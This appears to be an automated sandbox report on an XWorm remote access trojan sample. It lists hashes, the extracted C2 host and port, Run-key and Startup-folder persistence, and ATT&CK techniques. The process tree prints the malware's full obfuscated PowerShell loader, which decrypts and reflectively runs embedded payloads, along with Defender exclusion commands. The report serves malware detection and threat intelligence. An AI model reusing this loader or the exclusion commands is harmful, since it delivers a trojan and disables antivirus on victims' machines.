xworm | a3959e3a8458fe1a3530b5866f7e970700cf156fc0b5f7ff015313fe62c984a5

General

Target

setup.exe
Size

356KB
MD5

5783316be9eff4cebc0fedee80500e9d
SHA1

61b5d82d9da372c011ae2bbe050ecc47cd8a7da5
SHA256

a3959e3a8458fe1a3530b5866f7e970700cf156fc0b5f7ff015313fe62c984a5
SHA512

53c3f6768358f19bcdce131d050685f3bfc260a96fbc8963390361942c524456b286efb3b2af0c612e36f76d9e1e51aa28f9b81c09d58bb15e60109a63c52513
SSDEEP

6144:EhEN7+GRIGuXQs3frbL7rbL7rbL7rWG2mWG2mWG2mWG2mJ5pZJ5pZJ5pZJ7p0yNI:EG7dy90hSyWoYchYlVgFDuy+6

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

C2

127.0.0.1:48802

those-situation.gl.at.ply.gg:48802

Attributes

Install_directory
%AppData%
install_file
x4host.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/2392-28-0x0000000007280000-0x0000000007298000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 3 IoCs

flow	pid	Process
16	2392	powershell.exe
34	2392	powershell.exe
40	2392	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2392	powershell.exe
452	powershell.exe
1464	powershell.exe
4644	powershell.exe
4328	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\x4host.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\x4host.lnk	powershell.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	setup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\x4host = "C:\\Users\\Admin\\AppData\\Roaming\\x4host.exe"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
15	ip-api.com

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2392	powershell.exe
2392	powershell.exe
452	powershell.exe
452	powershell.exe
1464	powershell.exe
1464	powershell.exe
4644	powershell.exe
4644	powershell.exe
4328	powershell.exe
4328	powershell.exe
2392	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2392	powershell.exe
Token: SeDebugPrivilege	452	powershell.exe
Token: SeDebugPrivilege	1464	powershell.exe
Token: SeDebugPrivilege	4644	powershell.exe
Token: SeDebugPrivilege	4328	powershell.exe
Token: SeDebugPrivilege	2392	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2392	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1068 wrote to memory of 2936	1068	setup.exe	86
PID 1068 wrote to memory of 2936	1068	setup.exe	86
PID 1068 wrote to memory of 2936	1068	setup.exe	86
PID 2936 wrote to memory of 2392	2936	cmd.exe	88
PID 2936 wrote to memory of 2392	2936	cmd.exe	88
PID 2936 wrote to memory of 2392	2936	cmd.exe	88
PID 2392 wrote to memory of 452	2392	powershell.exe	90
PID 2392 wrote to memory of 452	2392	powershell.exe	90
PID 2392 wrote to memory of 452	2392	powershell.exe	90
PID 2392 wrote to memory of 1464	2392	powershell.exe	92
PID 2392 wrote to memory of 1464	2392	powershell.exe	92
PID 2392 wrote to memory of 1464	2392	powershell.exe	92
PID 2392 wrote to memory of 4644	2392	powershell.exe	94
PID 2392 wrote to memory of 4644	2392	powershell.exe	94
PID 2392 wrote to memory of 4644	2392	powershell.exe	94
PID 2392 wrote to memory of 4328	2392	powershell.exe	96
PID 2392 wrote to memory of 4328	2392	powershell.exe	96
PID 2392 wrote to memory of 4328	2392	powershell.exe	96

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1068
- C:\Windows\SysWOW64\cmd.exe
  cmd /c nitrogenerator.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2936
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UH/fwSN0PyJWF9gmCa0rqlchsQbW6Xom1tbi76SAsl8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+aIshcp+X8HCUI4eH6i5ug=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $oywQV=New-Object System.IO.MemoryStream(,$param_var); $jMsno=New-Object System.IO.MemoryStream; $pQPHW=New-Object System.IO.Compression.GZipStream($oywQV, [IO.Compression.CompressionMode]::Decompress); $pQPHW.CopyTo($jMsno); $pQPHW.Dispose(); $oywQV.Dispose(); $jMsno.Dispose(); $jMsno.ToArray();}function execute_function($param_var,$param2_var){ $JJuGC=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $lCOec=$JJuGC.EntryPoint; $lCOec.Invoke($null, $param2_var);}$uoxMw = 'C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\nitrogenerator.bat';$host.UI.RawUI.WindowTitle = $uoxMw;$pLlrs=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($uoxMw).Split([Environment]::NewLine);foreach ($IZJzW in $pLlrs) { if ($IZJzW.StartsWith(':: ')) { $tvpGf=$IZJzW.Substring(3); break; }}$payloads_var=[string[]]$tvpGf.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2392
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:452
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1464
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\x4host.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4644
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'x4host.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4328

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
06ad34f9739c5159b4d92d702545bd49

SHA1
9152a0d4f153f3f40f7e606be75f81b582ee0c17

SHA256
474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba

SHA512
c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
59fe1c45f8cff9ab11f90bd31e62ecbe

SHA1
87de959e2ed82420bfcc068d9449680b83fdd7f4

SHA256
da36aa1e1299f74f1c7f7c3f3687d04e9ec5e77ac6ebc8390fd8ac770a13eb9c

SHA512
08fe84204323aa7784cac3f65b5b95fa089695539b46a84da02cfb2fa0c87cb09e89525fc5f97d8fc74ccffd0f657472898d2c4783a7e42d936310c169fb6551

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
dca67ac58ac1d809524d2224b84cd194

SHA1
0914d077831e378662d3e01166256e73a2f4435d

SHA256
18e67379fa3c167a25e346d56ee058d366230866cd76b210371b2199f0f4e328

SHA512
1335358af1433d12a1cbfe8820a50d99eb1dab88c9c8b860ba9922f7b765110d1894809d0cfebb16761b76928735882aeded4da6528cdd32e4884d885f826413

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
fc65e5326854115833efe603b0c34c52

SHA1
96e1227d8f7fd38b49d0def1dc092b307c032656

SHA256
e54604967bb0da55da38c749d86d08d5844cc1b8f477f01ab75dfa218217c90e

SHA512
1e3493cc5e80f1c56ae0941f6759f08f392e8599c74e39eca62adc120ec5f714c9de3bfd6dd996636c397e45b77221c80e4f802e0393703afc5e51dd66dbc95f

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\nitrogenerator.bat

Filesize
296KB

MD5
907e9fc6911129b0a47c7d86d7f7f9d8

SHA1
685dfd20c4e49dbb6f6aad11b58c97ab0162e8bc

SHA256
c149c689139cacc133cf0718188cbedc9fe0be449297a71f1c5a18255bdfac2a

SHA512
07a1239ded8379d48dee4cfef74e9496c090ecc4b8efae0bb26fafbebc58736be0e69f7b9ded184da058e282f0f8a0c69060c60ae8ab870cc1d68aee328713ee

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o4blfbep.caf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/452-50-0x0000000006D60000-0x0000000006E03000-memory.dmp

Filesize
652KB

Download
memory/452-38-0x0000000006D20000-0x0000000006D52000-memory.dmp

Filesize
200KB

Download
memory/452-57-0x00000000071A0000-0x00000000071A8000-memory.dmp

Filesize
32KB

Download
memory/452-56-0x00000000071C0000-0x00000000071DA000-memory.dmp

Filesize
104KB

Download
memory/452-55-0x00000000070C0000-0x00000000070D4000-memory.dmp

Filesize
80KB

Download
memory/452-54-0x00000000070B0000-0x00000000070BE000-memory.dmp

Filesize
56KB

Download
memory/452-53-0x0000000007080000-0x0000000007091000-memory.dmp

Filesize
68KB

Download
memory/452-52-0x0000000007100000-0x0000000007196000-memory.dmp

Filesize
600KB

Download
memory/452-51-0x0000000006EF0000-0x0000000006EFA000-memory.dmp

Filesize
40KB

Download
memory/452-49-0x0000000006100000-0x000000000611E000-memory.dmp

Filesize
120KB

Download
memory/452-39-0x000000006FDF0000-0x000000006FE3C000-memory.dmp

Filesize
304KB

Download
memory/1464-71-0x000000006FDF0000-0x000000006FE3C000-memory.dmp

Filesize
304KB

Download
memory/2392-27-0x0000000007240000-0x000000000727A000-memory.dmp

Filesize
232KB

Download
memory/2392-9-0x0000000005880000-0x00000000058E6000-memory.dmp

Filesize
408KB

Download
memory/2392-10-0x00000000058F0000-0x0000000005956000-memory.dmp

Filesize
408KB

Download
memory/2392-8-0x0000000004F90000-0x0000000004FB2000-memory.dmp

Filesize
136KB

Download
memory/2392-26-0x00000000070E0000-0x000000000717C000-memory.dmp

Filesize
624KB

Download
memory/2392-25-0x0000000006430000-0x0000000006438000-memory.dmp

Filesize
32KB

Download
memory/2392-24-0x0000000006400000-0x000000000641A000-memory.dmp

Filesize
104KB

Download
memory/2392-23-0x0000000007690000-0x0000000007D0A000-memory.dmp

Filesize
6.5MB

Download
memory/2392-22-0x0000000005E80000-0x0000000005ECC000-memory.dmp

Filesize
304KB

Download
memory/2392-21-0x0000000005E30000-0x0000000005E4E000-memory.dmp

Filesize
120KB

Download
memory/2392-20-0x0000000005960000-0x0000000005CB4000-memory.dmp

Filesize
3.3MB

Download
memory/2392-7-0x0000000073BC0000-0x0000000074370000-memory.dmp

Filesize
7.7MB

Download
memory/2392-5-0x0000000004FE0000-0x0000000005608000-memory.dmp

Filesize
6.2MB

Download
memory/2392-28-0x0000000007280000-0x0000000007298000-memory.dmp

Filesize
96KB

Download
memory/2392-6-0x0000000073BC0000-0x0000000074370000-memory.dmp

Filesize
7.7MB

Download
memory/2392-135-0x0000000073BC0000-0x0000000074370000-memory.dmp

Filesize
7.7MB

Download
memory/2392-4-0x0000000002960000-0x0000000002996000-memory.dmp

Filesize
216KB

Download
memory/2392-3-0x0000000073BCE000-0x0000000073BCF000-memory.dmp

Filesize
4KB

Download
memory/2392-134-0x0000000073BC0000-0x0000000074370000-memory.dmp

Filesize
7.7MB

Download
memory/2392-130-0x00000000083D0000-0x0000000008974000-memory.dmp

Filesize
5.6MB

Download
memory/2392-131-0x0000000008000000-0x0000000008092000-memory.dmp

Filesize
584KB

Download
memory/2392-132-0x0000000007FE0000-0x0000000007FEA000-memory.dmp

Filesize
40KB

Download
memory/2392-133-0x0000000073BCE000-0x0000000073BCF000-memory.dmp

Filesize
4KB

Download
memory/4328-115-0x000000006FDF0000-0x000000006FE3C000-memory.dmp

Filesize
304KB

Download
memory/4644-92-0x000000006FDF0000-0x000000006FE3C000-memory.dmp

Filesize
304KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads